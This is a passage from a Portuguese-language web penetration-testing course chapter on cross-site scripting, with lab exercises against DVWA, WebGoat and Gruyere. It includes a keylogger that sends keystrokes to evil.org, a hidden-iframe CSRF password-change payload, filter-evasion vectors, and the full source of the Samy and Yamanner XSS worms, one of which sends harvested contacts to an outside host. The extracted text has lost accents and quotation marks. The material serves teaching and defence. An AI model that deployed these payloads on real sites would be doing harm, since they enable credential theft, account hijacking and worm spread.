Essa parte pode ser realizada por meio da adio dinmica de um objeto img pgina, que embute os dados da vtima como parte da URL especificada para o atributo src. importante observar que, no supracitado cenrio, o mtodo appendChild() deve ser empregado no lugar de document.write(), para que a pgina atual no seja sobrescrita. Alm disso, de modo a evitar enviar uma nica tecla por vez, gerando trfego desnecessrio, deve-se realizar a submisso, somente aps uma quantidade razovel de dados ser acumulada. Note, porm, que essa abordagem pode resultar na perda dos ltimos caracteres digitados, e, assim, os dois aspectos devem ser balanceados. O cdigo Javascript ilustrado na Figura 5.19 implementa todos os conceitos acima discutidos e funciona para os navegadores Firefox, Chrome e Opera.
<script> var buffer = ; var img; document.onkeypress=function(e) { if (buffer.length == 10) { img = document.createElement(img); img.src = http://www.evil.org/?Keys=+buffer; document.body.appendChild(img); document.body.removeChild(img); buffer = ; } buffer = buffer + String.fromCharCode(e.which); } </script>
Teste de Invaso de Aplicaes Web
Figura 5.19 Cdigo Javascript que pode ser utilizado para captura de teclas.
Para exemplificar o ataque, alguns registros da trilha de auditoria do servidor web malicioso esto apresentados abaixo, contendo as teclas capturadas de uma vtima:
192.168.213.10 - - [11/Sep/2011:01:32:34 -0300] GET /?Keys=0123456789 HTTP/1.1 200 175 192.168.213.10 - - [11/Sep/2011:01:32:49 -0300] GET /?Keys=abcdefghij HTTP/1.1 200 175 192.168.213.10 - - [11/Sep/2011:01:33:17 -0300] GET /?Keys=ESRRNPSEG9 HTTP/1.1 200 175
200
Considere o sistema ilustrado na Figura 5.20, que permite a troca de senhas, sem solicitar a anterior, mas que implementa um token anti-CSRF, para dificultar cross site request forgery.
O primeiro passo, para elaborar a explorao, consiste em determinar a estrutura do formulrio, por meio da anlise do cdigo HTML:
<form action=# method=GET> New password:<br> <input type=password AUTOCOMPLETE=off name=password_new><br> Confirm new password: <br> <input type=password AUTOCOMPLETE=off name=password_conf><br> <input type=submit value=Change name=Change><br> <input type=hidden name=csrf_token value=2004840338> </form>
Os itens importantes, que devem ser observados no HTML, incluem os nomes dos campos de senha e do boto de submisso, pois sero utilizados, por um cdigo Javascript injetado, para o preenchimento e envio do formulrio. Note que o token anti-CSRF no considerado, porque ele j possui um valor definido e enviado junto com os demais itens da requisio. Com base nas informaes levantadas, pode-se construir o seguinte vetor de injeo:
Captulo 5 - Cross-site scripting
201
var f = document.getElementById(cs).contentDocument.forms[0]; f.password_new.value=pwd; f.password_conf.value=pwd; f.Change.click(); } document.write(<iframe id=cs src=http://dvwa.esr.rnp.br/ vulnerabilities/csrf/ width=0 height=0 style=opacity:0.0 onload=breakToken()></iframe>); </script>
Observe que um <iframe> invisvel (opacidade = 0) criado dinamicamente e carregado com a pgina-alvo do CSRF. To logo isso acontea, a funo breakToken() invocada, devido ao evento onload, a qual preenche os campos de senhas com o valor pwd e submete o formulrio, por meio do mtodo click(). Conforme j explicado, como o token anti-CSRF faz parte do formulrio, ele tambm enviado na requisio, no sendo necessrio manipul-lo. A etapa final resume-se em encontrar na aplicao uma vulnerabilidade de cross-site scripting, como a ilustrada na Figura 5.21, para que seja possvel injetar o vetor e concluir o ataque.
Evaso de filtros
Algumas aplicaes utilizam filtros para bloquear entradas maliciosas ou para alter-las, de modo que no possam ser utilizadas em ataques. Muitas vezes, eles no so empregados com o propsito de propiciar defesa em camadas, mas, sim, de contornar vulnerabilidades presentes na aplicao. Nesses casos, se o atacante consegue evadir os filtros instalados, o sistema pode ser explorado, de maneira direta. Historicamente, no so raras as ocorrncias de filtros dessa natureza, contendo vulnerabilidades (Stuttard e Pinto, 2007).
202
Nos prximos exemplos, observe as tcnicas de evaso, que podem ser empregadas, em cada um dos casos:
1 Bloqueio de marcadores HTML, desde que escritos totalmente com letras maisculas ou
minsculas possvel fornecer valores com alternncia de letras maisculas e minsculas. Exemplo:
<ScRiPt>alert(1)</sCrIpT>
1 Bloqueio do marcador <script> uma estratgia inserir outro tipo de elemento, que seja
aceito pelo filtro, e utilizar um evento qualquer para disparar a execuo do cdigo desejado. Exemplo:
1 Scripts so aceitos, mas algumas palavras, como alert(), por exemplo, so bloqueadas
caso o mtodo eval() esteja liberado, possvel empreg-lo para executar um cdigo construdo dinamicamente. Exemplo:
<script>var a=aler+t(1);eval(a)</script>
%00<script>alert(1)</script>
?name=<script>eval(location.hash.substr(1))<%2Fscript>#alert(xss)
Observe que o cdigo desejado especificado como um fragmento de URL, extrado utilizando-se location.hash.substr(1), e executado por meio do mtodo eval().
1 O filtro remove palavras e marcadores HTML, como javascript e <script>, por exemplo,
de maneira no recursiva a quebra desse filtro pode ser realizada, por meio da escrita aninhada das palavras, que so consideradas pelo controle. Exemplo:
<scr<script>ipt>alert(1)</script>
do usurio com o valor de uma varivel caso o escape do prprio caractere \ no seja
\;alert(1);//
203
Resultando em:
var a=\\;alert(1);//;
Considerando que o ponto de injeo est entre os marcadores <script> e </script>, outra abordagem consiste em encerrar o script original e iniciar um novo:
</script><script>alert(1)</script>
Embora isso permita que o cdigo injetado seja executado, tambm resulta na exibio de parte dos comandos originais, como se fossem contedo.
Arcabouos de explorao
Existem alguns arcabouos que podem ser utilizados para explorar aplicaes vulnerveis a cross-site scripting, facilitando a execuo de diversos ataques e a evaso de eventuais filtros instalados (Grossman et al., 2007):
1 XSS-Proxy: criado por Anton Rager e apresentado na conferncia ShmooCon 2005, utiliza
um iframe para carregar o Javascript de controle, o qual permite controle persistente sobre o navegador da vtima. O objetivo original da ferramenta era chamar a ateno das pessoas, acerca das possibilidades de ataques baseados em cross-site scripting, as quais, como se sabe, vo muito alm da simples exibio de uma caixa de mensagem ao usurio.
realiza a interface com o usurio e fornece a camada de comunicao, com os navegadores web escravizados. O processo de obteno de controle de um navegador web necessita da carga do script hook.js, por meio de uma vulnerabilidade de cross-site scripting. O BeEF uma ferramenta desenvolvida em Ruby que suporta diversas plataformas diferentes, incluindo Windows, Linux e Mac OS X. Necessita da verso 1.9 ou superior dos pacotes do Ruby e pode trabalhar com os sistemas gerenciadores de banco de dados SQLite,
204
MySQL e PostgreSQL. A arquitetura geral composta por um nico servidor, que realiza a interface com o usurio (no caso, o atacante) e fornece a camada de comunicao, com os navegadores web escravizados. Os ataques disponveis so divididos em nove classes diferentes:
1 Browser: inclui deteco de URLs visitadas, reescrita de links e redirecionamento. 1 Debug: essa classe compreende testes do mecanismo de comunicao com os navegadores web controlados pelo BeEF.
1 Host: possui ataques para navegadores em dispositivos mveis, incluindo determinao de localizao fsica da vtima e execuo de chamadas via Skype.
1 Metasploit: permite interagir com o arcabouo Metasploit. 1 Misc: esse grupo de ataques engloba envio de cdigo Javascript arbitrrio, exibio
de caixa de alerta, extrao de dados do objeto localStorage suportado em HTML5, adulterao da pgina e roubo de dados da rea de transferncia.
1 Persistence: inclui tcnicas para persistncia do controle sobre o navegador web. 1 Recon: esse grupo inclui tcnicas para coleta de links da pgina vulnervel, varredura
de redes e verificao se o usurio se encontra autenticado em aplicaes como Gmail, Facebook e Twitter.
205
O processo de obteno de controle de um navegador web necessita da carga do script hook.js, por meio de uma vulnerabilidade de cross-site scripting. O vetor de injeo que deve ser usado nesse processo :
206
Contramedidas
As principais medidas que podem ser adotadas, para evitar a ocorrncia de cross-site scripting, esto listadas a seguir (Grossman et al., 2007; Stuttard e Pinto, 2007):
1 Considere que toda informao fornecida por usurios maliciosa e, assim, antes de
process-la, verifique se ela est de acordo com valores reconhecidamente vlidos para o campo ou parmetro. importante mencionar que essa abordagem superior ao uso de listas negras, pois, dificilmente, possvel enumerar todas as entradas perniciosas possveis. Complementarmente, restrinja o tamanho do campo ao mximo permitido.
1 Utilize codificao HTML na sada, o que faz com que caracteres potencialmente perigosos sejam tratados como parte do contedo da pgina HTML, em vez de considerados parte da estrutura (Stuttard e Pinto, 2007; Van der Stock et al., 2008). Por exemplo, o texto <script> seria inserido na pgina como <script>, uma vez codificado. A Figura 5.25 apresenta o mapeamento para os principais caracteres problemticos. Caractere
Figura 5.25 Codificao HTML.
"
'
& &
< <
> >
Entidade
1 Desabilite o mtodo TRACE no servidor web, para evitar cross-site tracing. Embora os
navegadores web atuais probam a execuo de requisies baseadas neste mtodo, sempre uma boa ideia adotar defesa em camadas.
1 Usurios podem dificultar a descoberta de histrico de navegao, configurando o navegador web para impedir que as pginas definam as prprias cores para links visitados.
207
<div id=mycode style=BACKGROUND: url(java script:eval(document.all.mycode.expr)) expr=var B=String. fromCharCode(34);var A=String.fromCharCode(39);function g() {var C;try{var D=document.body.createTextRange();C=D.htmlText} catch(e){}if(C){return C}else{return eval(document.body. inne+rHTML)}}function getData(AU){M=getFromURL(AU,frien dID);L=getFromURL(AU,Mytoken)}function getQueryParams() {var E=document.location.search;var F=E.substring(1,E.length). split(&);var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O]. split(=);AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS[Mytoken];var M=AS[friendID];if(location.hostname==profile. myspace.com){document.location=http://www.myspace. com+location.pathname+location.search}else{if(!M){getData(g())} main()}function getClientFID(){return findIn(g(),up_launchIC( +A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+=&}var Q=escape(AV[P]);while(Q.indexOf(+)!=-1){Q=Q.replace(+,%2B)} while(Q.indexOf(&)!=-1){Q=Q.replace(&,%26)}N+=P+=+Q;O++} return N}function httpSend(BH,BI,BJ,BK){if(!J){return false} eval(J.onr+eadystatechange=BI);J.open(BJ,BH,true);if(BJ==POST) {J.setRequestHeader(Content-Type,application/x-www-formurlencoded);J.setRequestHeader(Content-Length,BK.length)} J.send(BK);return true}function findIn(BF,BB,BC){var R=BF. indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG) {return findIn(BF,name=+B+BG+B+ value=+B,B)}function getFromURL(BF,BG){var T;if(BG==Mytoken){T=B}else{T=&} var U=BG+=;var V=BF.indexOf(U)+U.length;var W=BF. substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest) {try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window. ActiveXObject){try{Z=new ActiveXObject(Msxml2.XMLHTTP)}catch(e) {try{Z=new ActiveXObject(Microsoft.XMLHTTP)}catch(e){Z=false}}} return Z}var AA=g();var AB=AA.indexOf(m+ycode);var AC=AA. substring(AB,AB+4096);var AD=AC.indexOf(D+IV);var AE=AC. substring(0,AD);var AF;if(AE){AE=AE.replace(jav+a,A+jav+a );AE=AE.replace(exp+r),exp+r)+A);AF= but most of all, samy is my hero. <d+iv id=+AE+D+IV>}var AG;function
Teste de Invaso de Aplicaes Web
getHome(){if(J.readyState!=4){return}var AU=J.responseText;A G=findIn(AU,P+rofileHeroes,</td>);AG=AG.substring(61,AG. length);if(AG.indexOf(samy)==-1){if(AF){AG+=AF;var AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLa bel]=heroes;AS[submit]=Preview;AS[interest]=AG;J=getXM LObj();httpSend(/index.cfm?fuseaction=profile.previewInteres ts&Mytoken=+AR,postHero,POST,paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLabel]=h eroes;AS[submit]=Submit;AS[interest]=AG;AS[hash]=getHiddenP
Figura 5.26 Cdigo do Samy Worm (Kamkar, 2005).
208
arameter(AU,hash);httpSend(/index.cfm?fuseaction=profile.proces sInterests&Mytoken=+AR,nothing,POST,paramsToString(AS))}function main(){var AN=getClientFID();var BH=/index.cfm?fuseaction=user. viewProfile&friendID=+AN+&Mytoken=+L;J=getXMLObj();httpSe nd(BH,getHome,GET);xmlhttp2=getXMLObj();httpSend2(/index. cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytok en=+L,processxForm,GET)}function processxForm(){if(xmlhttp2. readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHidden Parameter(AU,hashcode);var AR=getFromURL(AU,Mytoken);var AS=new Array();AS[hashcode]=AQ;AS[friendID]=11851658;AS[submit]= Add to Friends;httpSend2(/index.cfm?fuseaction=invite.addFriend sProcess&Mytoken=+AR,nothing,POST,paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval(xmlhttp2.on r+eadystatechange=BI);xmlhttp2.open(BJ,BH,true);if(BJ==POST) {xmlhttp2.setRequestHeader(Content-Type,application/x-www-formurlencoded);xmlhttp2.setRequestHeader(Content-Length,BK.length)} xmlhttp2.send(BK);return true}></DIV>
Cdigo do Yamanner
O cdigo do Yamanner encontra-se ilustrado na Figura 5.27.
var http_request = false; var Email = ; var IDList = ; var CRumb = ; function makeRequest(url, Func, Method, Param) { if (window.XMLHttpRequest) { http_request = new XMLHttpRequest(); } else if (window.ActiveXObject) { http_request = new ActiveXObject(Microsoft.XMLHTTP); }
Captulo 5 - Cross-site scripting
http_request. onfiltered= Func; http_request.open(Method, url, true); if( Method == GET) http_request.send(null); else http_request.send(Param); }
Figura 5.27 Cdigo do Yamanner.
209
MailIndex = ServerUrl.indexOf(.mail ,0); CutLen = MailIndex - USIndex - 3; var Server = ServerUrl.substr(USIndex + 3, CutLen); function GetIDs(HtmlContent) { IDList = ; StartString = ; EndString = ; i = 0; StartIndex = HtmlContent.indexOf(StartString, 0); while(StartIndex >= 0) { EndIndex = HtmlContent.indexOf(EndString, StartIndex); CutLen = EndIndex - StartIndex - StartString.length; YahooID = HtmlContent.substr(StartIndex + StartString.length, CutLen); if( YahooID.indexOf(@yahoo.com, 0) > 0 || YahooID.indexOf(@ yahoogroups.com, 0) > 0 ) IDList = IDList + , + YahooID ; StartString = ; StartIndex = HtmlContent.indexOf(StartString, StartIndex + 20); StartString = ; StartIndex = HtmlContent.indexOf(StartString, StartIndex + 20); i++; } if(IDList.substr(0,1) == ,) IDList = IDList.substr(1, IDList. length); if(IDList.indexOf(,, 0)>0 ) { IDListArray = IDList.split(,); Email = IDListArray[0];
Teste de Invaso de Aplicaes Web
IDList = IDList.replace(Email + ,, ); } CurEmail = spamform.NE.value; IDList = IDList.replace(CurEmail + ,, ); IDList = IDList.replace(, + CurEmail, ); IDList = IDList.replace(CurEmail, ); UserEmail = showLetter.FromAddress.value;
210
IDList = IDList.replace(, + UserEmail, ); IDList = IDList.replace(UserEmail + ,, ); IDList = IDList.replace(UserEmail, ); return IDList; } function ListContacts() { if (http_request.readyState == 4) { if (http_request.status == 200) { HtmlContent = http_request.responseText; IDList = GetIDs(HtmlContent); makeRequest(http://us. + Server + .mail.yahoo.com/ym/ Compose/?rnd= + Math.random(), Getcrumb, GET, null); } } } function ExtractStr(HtmlContent) { StartString = name=\u0022.crumb\u0022 value=\u0022; EndString = \u0022; i = 0; StartIndex = HtmlContent.indexOf(StartString, 0); EndIndex = HtmlContent.indexOf(EndString, StartIndex + StartString.length ); CutLen = EndIndex - StartIndex - StartString.length; crumb = HtmlContent.substr(StartIndex + StartString.length , CutLen ); return crumb; } function Getcrumb() { if (http_request.readyState == 4) { if (http_request.status == 200) { HtmlContent = http_request.responseText; CRumb = ExtractStr(HtmlContent); MyBody = this is test; MySubj = New Graphic Site;
211
Captulo 5 - Cross-site scripting
Url = http://us. + Server + .mail.yahoo.com/ym/ Compose; var ComposeAction = compose.action;MidIndex = ComposeAction.indexOf(&Mid= ,0); incIndex = ComposeAction.indexOf(&inc ,0); CutLen = incIndex - MidIndex - 5; var MyMid = ComposeAction.substr(MidIndex + 5, CutLen); QIndex = ComposeAction.indexOf(?box= ,0); AIndex = ComposeAction.indexOf(&Mid ,0); CutLen = AIndex - QIndex - 5; var BoxName = ComposeAction.substr(QIndex + 5, CutLen); Param = SEND=1&SD=&SC=&CAN=&docCharset=windows1256&PhotoMailUser=&PhotoToolInstall=&OpenInsertPhoto=&PhotoGetStar t=0&SaveCopy=no&PhotoMailInstallOrigin=&.crumb=RUMBVAL&Mid=EMAILMID &inc=&AttFol=&box=BOXNAME&FwdFile=YM_FM&FwdMsg=EMAILMID&FwdSubj=EM AILSUBJ&FwdInline=&OriginalFrom=FROMEMAIL&OriginalSubject=EMAILSUBJ &InReplyTo=&NumAtt=0&AttData=&UplData=&OldAttData=&OldUplData=&FNam e=&ATT=&VID=&Markers=&NextMarker=0&Thumbnails=&PhotoMailWith=&Brow seState=&PhotoIcon=&ToolbarState=&VirusReport=&Attachments=&Background=&BGRef=&BGDesc=&BGDef=&BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom=& PlainMsg=%3Cbr%3E%3Cbr%3ENote%3A+forwarded+message+attached.&Photo Frame=&PhotoPrintAtHomeLink=&PhotoSlideShowLink=&PhotoPrintLink=&P hotoSaveLink=&PhotoPermCap=&PhotoPermPath=&PhotoDownloadUrl=&Photo SaveUrl=&PhotoFlags=&start=compose&bmdomain=&showcc=&showbcc=&AC_ Done=&AC_ToList=0%2C&AC_CcList=&AC_BccList=&sendtop=Send&savedraft top=Save+as+a+Draft&canceltop=Cancel&FromAddr=&To=TOEMAIL&Cc=&Bcc= BCCLIST&Subj=EMAILSUBJ&Body=%3CBR%3E%3CBR%3ENote%3A+forwarded+mess age+attached.&Format=html&sendbottom=Send&savedraftbottom=Save+as+ a+Draft&cancelbottom=Cancel&cancelbottom=Cancel; Param = Param.replace(BOXNAME, BoxName); Param = Param.replace(RUMBVAL, CRumb);
Teste de Invaso de Aplicaes Web
Param = Param.replace(BCCLIST, IDList); Param = Param.replace(TOEMAIL, Email); Param = Param.replace(FROMEMAIL, av3@yahoo.com); Param = Param.replace(EMAILBODY, MyBody); Param = Param.replace(PlainMESSAGE, ); Param = Param.replace(EMAILSUBJ, MySubj); Param= Param.replace(EMAILSUBJ, MySubj);
212
Param = Param.replace(EMAILSUBJ, MySubj); Param = Param.replace(EMAILMID, MyMid); Param = Param.replace(EMAILMID, MyMid); makeRequest(Url , alertContents, POST, Param); } } } function alertContents() { if (http_request.readyState == 4) { window.navigate(http://www.av3.net/?ShowFolder.....8;BCCList= + IDList) } } makeRequest(http://us. + Server + .mail.yahoo.com/ym/QuickBuilder? build=Continue&cancel=&continuetop=Continue&canceltop=Cancel&Inbox =Inbox&Sent=Sent&pfolder=all&freqCheck=&freq=1&numdays=on&date=180&ps=1&numadr=100&continuebottom=Continue&cancelbottom=Cancel&rnd= + Math.random(), ListContacts, GET, null)
213
214
Roteiro de Atividades 5
Atividade 1 Introduo
Esta atividade tem por objetivo ilustrar ao leitor quo comumente so encontrados problemas referentes a cross-site scripting em aplicaes web reais. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
2. Acesse http://www.xssed.com 3. Navegue pelo site e descubra que empresas conhecidas j foram vtimas de XSS. 4. Encerre o Firefox.
XSS refletido
Nessa classe de XSS, o cdigo enviado na URL ou no cabealho HTTP, como parte da requisio, explorando um parmetro que exibido sem tratamento na pgina resultante. Normalmente, requer que o usurio seja induzido a clicar em um link especialmente construdo, com contedo malicioso.
1.
2. Acesse o DVWA, por meio da barra de atalhos. 3. Fornea para os campos Username e Password, respectivamente, os valores admin e
Altere o parmetro name, na barra de endereos, para o seu sobrenome e pressione Enter.
<script>alert(document.cookie)<%2Fscript>
Observe que os cookies so exibidos.
9. Clique em Ok. 10. Clique em File, seguido de Open File.
215
11. Acesse o diretrio esruser/Arquivos do Curso/sessao-05. 12. Abra o arquivo refletido.html. 13. Passe o mouse por cima do link e observe a URL na barra de estado. 14. Clique no link e veja o que acontece. Esse um dos vetores de ataque de XSS refletido. 15. Clique em Ok.
XSS armazenado
Historicamente, fruns de discusso so propcios a apresentarem vulnerabilidades de cross-site scripting armazenado. Neste exerccio, o leitor explorar o problema em uma aplicao desse tipo.
1.
2. Autentique-se com as credenciais guest/guest. 3. Clique em Start WebGoat. 4. Clique no menu Cross-Site Scripting (XSS). 5. Clique em Stored XSS Attacks. 6. Cadastre uma mensagem, fornecendo ttulo e texto. Clique em Submit. Observe que um
<script>alert(1)</script>
8. Na lista de mensagens, clique no ttulo da ltima que foi cadastrada. 9. Observe que o script executado.
Acesse http://xss.esr.rnp.br/
2. Clique em XSS baseado em DOM. 3. Adicione a query string abaixo na barra de endereos e pressione Enter:
?usuario=ESR
Teste de Invaso de Aplicaes Web
?usuario=ESR<script>document.write(<br>XSS)<%2Fscript>
7.
216
9. Clique na aba Raw e veja que o cdigo foi enviado ao servidor. 10. Encerre a janela de visualizao de requisio. 11. Retorne ao Firefox, altere a query string para o texto abaixo e pressione Enter:
?usuario=ESR#<script>document.write(<br>XSS2)</script>
12. Acesse o WebScarab novamente. 13. Selecione a nova requisio e d um duplo clique nela. 14. Observe que, agora, o cdigo no foi enviado ao servidor, embora tenha sido executado
no cliente.
15. Encerre a janela de visualizao de requisio. 16. Encerre o WebScarab. 17. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione None.
XCS
Este exerccio ilustra um cross channel scripting, em uma aplicao web que permite visualizar a lista de arquivos de um diretrio do sistema operacional.
1.
Acesse http://xss.esr.rnp.br/
2. Clique em Cross channel scripting. 3. Abra uma janela de terminal. 4. Conecte-se ao servidor, por meio de SSH:
~$ ssh root@192.168.213.200
5. Fornea a senha esruser. 6. Mude para o diretrio /var/www/html/xss/xcs/:
~$ cd /var/www/html/xss/xcs/
7.
~$ ls -l
8. Crie um novo arquivo, com o nome novo:
~$ touch novo
9. Retorne ao Firefox e recarregue a pgina. Veja que a listagem inclui o novo arquivo. 10. No terminal, crie um arquivo com o seguinte comando:
217
GNUCITIZEN
O stio web GNUCITIZEN contm diversas informaes sobre segurana da informao, inclusive os cdigos-fonte de alguns worms baseados em XSS.
1.
2. Acesse http://www.gnucitizen.org/blog/wormx/ 3. Veja as aplicaes web que j foram afetadas por worms baseados em XSS. 4. Inspecione o cdigo-fonte de algum dos worms listados. 5. Encerre o Firefox.
Pontos de injeo
Neste exerccio, o leitor aprender a construir os vetores de teste corretamente, de acordo com o ponto em que ocorre a injeo de cdigo. Parte I Corpo da mensagem
1.
2. Acesse o DVWA, por meio da barra de atalhos. 3. Fornea para os campos Username e Password, respectivamente, os valores admin e
7.
8. Encerre a janela de visualizao de cdigo-fonte. 9. Digite o seguinte no campo de texto e clique em Submit:
<script>alert(1)</script>
Parte II Dentro de script
10. Acesse http://xss.esr.rnp.br/ 11. Clique em Dentro de script.
218
12. Digite o seu nome e clique em Definir nome. 13. Pressione Ctrl + U, para visualizar o cdigo-fonte. 14. Procure o ponto em que seu nome foi inserido na pgina HTML. 15. Encerre a janela de visualizao de cdigo-fonte. 16. Digite o nome abaixo e clique em Definir nome:
<script>alert(1)</script>
O ataque funcionou corretamente?
ESR;alert(1);var b=
E agora? A caixa de mensagem foi exibida?
</script><script>alert(1)</script><script>
19. Pressione Ctrl + U para visualizar o cdigo-fonte. 20. Veja como o balanceamento de marcadores foi realizado, no processo de injeo.
21. Encerre a janela de visualizao de cdigo-fonte. 22. Pressione Ctrl + Shift + J para visualizar os erros ocorridos e role a janela at o final.
<script>alert(1)</script>
O ataque funcionou corretamente?
219
32. Pressione Alt + Seta para a esquerda para retornar pgina anterior. 33. Fornea o seguinte vetor como nome e clique em Definir nome:
ESR onclick=alert(1)
34. Clique no campo de nome e veja o que acontece.
<script>alert(1)</script>
O ataque funcionou corretamente?
</title><script>alert(1)</script>
43. Encerre o Firefox.
Roteiros de teste
Neste exerccio, o aluno realizar alguns testes para identificar vulnerabilidades de cross-site scripting na aplicao web. Parte I XSS refletido
1.
2. Acesse o Gruyere, por meio da barra de atalhos. 3. Clique em Sign in. 4. Fornea para os campos User name e Password, respectivamente, os valores esruser e
5. Na barra de endereos, substitua tudo aps a parte numrica por /esrxpto e pressione
8. Encerre a janela de visualizao de cdigo HTML. 9. Repita o passo 5, utilizando o seguinte texto:
<script>alert(1)</script>
220
~$ cat texto.html
21. No terminal, visualize o contedo do arquivo alert.html:
~$ cat alert.html
22. Feche a janela de visualizao de cdigo HTML. 23. Pressione Alt + Seta para a esquerda no Firefox, para retornar pgina anterior. 24. Clique no link Upload novamente. 25. Clique no boto Browse. 26. Navegue at a pasta esruser/Arquivos do Curso/sessao-05. 27. Selecione alert.html e clique em Abrir. 28. Clique em Upload. 29. Na barra de endereos, substitua upload2 por esruser/alert.html e pressione Enter.
221
37. Feche a janela de visualizao de cdigo HTML. 38. Clique novamente no link New snippet. 39. Fornea o texto <script>alert(1)</script> e clique em Submit. 40. Pressione Ctrl + U para visualizar o cdigo HTML. 41. Procure pelo texto inserido. Houve algum tipo de filtragem?
42. Feche a janela de visualizao de cdigo HTML. 43. Clique novamente no link New snippet. 44. Fornea o texto abaixo e clique em Submit:
de usurio?
50. Clique no link Profile novamente. 51. Em Profile Color, digite esrxpto e clique em Update. 52. Pressione Ctrl + U para visualizar o cdigo HTML. 53. Procure pelo texto esrxpto. Em que ponto o cdigo injetado?
54. Feche a janela de visualizao de cdigo HTML. 55. Clique no link Profile outra vez. 56. Em Profile Color, digite o texto abaixo e clique em Update:
green onclick=alert(1)
Teste de Invaso de Aplicaes Web
58. Pressione Ctrl + U para visualizar o cdigo HTML. 59. Procure pelo texto inserido. 60. Feche a janela de visualizao de cdigo HTML. 61. Encerre o Firefox.
222
Adulterao de pgina
Ataques de cross-site scripting permitem, entre outras coisas, que pginas da aplicao afetada sejam adulteradas. Nessa atividade, o aluno realizar, em um sistema vulnervel, a remoo e a incluso dinmica de elementos do DOM.
1.
2. Acesse o DVWA, por meio da barra de atalhos. 3. Fornea para os campos Username e Password, respectivamente, os valores admin e
8. Pression Ctrl + Shift + I para iniciar o DOM Inspector. 9. Maximize a janela do DOM Inspector. 10. Pressione Ctrl + F para iniciar uma pesquisa. 11. Digite form, selecione Tag e clique em Find. 12. Clique no smbolo + ao lado de FORM, na rvore do DOM. Cada um dos elementos
exibidos numerado crescentemente a partir de zero, e pode ser acessado pela coleo childNodes[].
13. A partir do primeiro item, anote os nmeros dos ns referentes aos elementos P e INPUT. 14. Clique no boto Inspect, ao lado da barra de endereos. 15. Clique em cada um dos ns P e INPUT, para identificar os itens correspondentes na pgina. 16. Encerre o DOM Inspector. 17. No DVWA, digite o cdigo abaixo e clique em Submit:
223
em Submit:
<script> var p = document.forms[0].parentNode; p.removeChild(document.forms[0]); document.write(<br><form>Digite sua senha:<br><input type= 8 "password" size=30><br><input type="submit" value="Testar"> ); </script>
22. Digite qualquer texto no campo exibido e veja que esse diferente do original. 23. Pressione Ctrl + U para visualizar o cdigo HTML. 24. Procure pelos elementos gerados dinamicamente. Foi possvel encontr-los? Por qu?
25. Feche a janela de visualizao de cdigo HTML. 26. Clique novamente em XSS reflected. 27. Repita o Passo 21, sem usar o mtodo document.write(). 28. Encerre o Firefox.
2. Acesse http://xss.esr.rnp.br/ 3. Clique em Descoberta de histrico. As pginas listadas como visitadas esto corretas?
Teste de Invaso de Aplicaes Web
4. Pressione Ctrl + N para abrir uma nova janela do Firefox. 5. Digite www.amazon.com na barra de endereos e pressione Enter. 6. Retorne janela anterior do navegador. 7.
8. Pressione Ctrl + U para visualizar o cdigo HTML. 9. Analise como o cdigo para determinao se um dado site foi ou no visitado. 10. Feche a janela de visualizao de cdigo HTML.
224
11. Clique em Edit, seguido de Preferences. 12. Clique na aba Content. 13. Clique no boto Colors. 14. Desmarque o item Allow pages to choose their own colors, instead of my selections above. 15. Clique em Ok e, em seguida, em Close. 16. Recarregue a pgina e veja se o ataque funciona. 17. Execute novamente os passos 11 a 15, mas marcando a opo do Passo 14. 18. Encerre o Firefox.
2. Acesse o DVWA, por meio da barra de atalhos. 3. Fornea para os campos Username e Password, respectivamente, os valores admin e
<script> var t; /* Insere um paragrafo */ document.write(<br><p id=par>Teclas capturadas: ); /* Aponta para o texto */ t = document.getElementById(par).childNodes[0]; document.onkeypress=function(e) { /* Adiciona a tecla capturada ao texto */ t.nodeValue = t.nodeValue + String.fromCharCode(e.which); } </script>
6. Digite algum texto no campo e veja que ele reproduzido na parte inserida dinamicamente. 7.
Captulo 5 - Roteiro de Atividades
Encerre o Firefox.
225
8. Inicie o Firefox, presente no menu Aplicativos\Internet. 9. Acesse o DVWA, por meio da barra de atalhos. 10. Fornea para os campos Username e Password, respectivamente, os valores admin
20. Encerre a nova janela do Firefox. 21. Clique em XSS reflected. 22. Digite o seguinte cdigo no campo, observando o S em <Script>, e clique em Submit.
<Script> function breakToken() { var f = document.getElementById(cs).contentDocument.forms[0]; f.password_new.value = pwd; f.password_conf.value = pwd; f.Change.click(); } document.write(<iframe id=cs src=http://dvwa.esr.rnp.br/ vulnerabilities/csrf/ style=opacity:0.0 onload=breakToken()></ iframe>); </script>
Teste de Invaso de Aplicaes Web
23. Clique em Logout. 24. Fornea para os campos Username e Password, respectivamente, os valores admin
25. Repita o processo com as credenciais admin/pwd. 26. Clique em CSRF. 27. Altere a senha para password novamente.
226
28. Clique em DVWA Security. 29. Selecione low e clique em Submit. 30. Encerre o Firefox.
Evaso de filtros
Algumas aplicaes implementam filtros para evitar ataques de injeo, porm, de maneira vulnervel. Nesse contexto, essa prtica tem por objetivo exemplificar algumas das tcnicas que podem ser utilizadas no processo de evaso de tais controles. Parte I Remoo de marcadores
1.
2. Acesse http://xss.esr.rnp.br/ 3. Clique em Remoo de marcadores. 4. Digite esrxpto e clique em Definir nome. 5. Pressione Ctrl + U para visualizar o cdigo HTML. 6. Procure por esrxpto, para determinar o ponto de injeo. 7.
<script>alert(1)</script>
O ataque funcionou?
9. Pressione Ctrl + U para visualizar o cdigo HTML. 10. Procure pelo texto injetado e analise o motivo da explorao ter falhado. 11. Feche a janela de visualizao de cdigo HTML. 12. Teste os seguintes vetores e anote os que funcionam:
227
18. Feche a janela de visualizao de cdigo HTML. 19. Digite o cdigo abaixo e clique em Submit:
;alert(1);//
O que acontece?
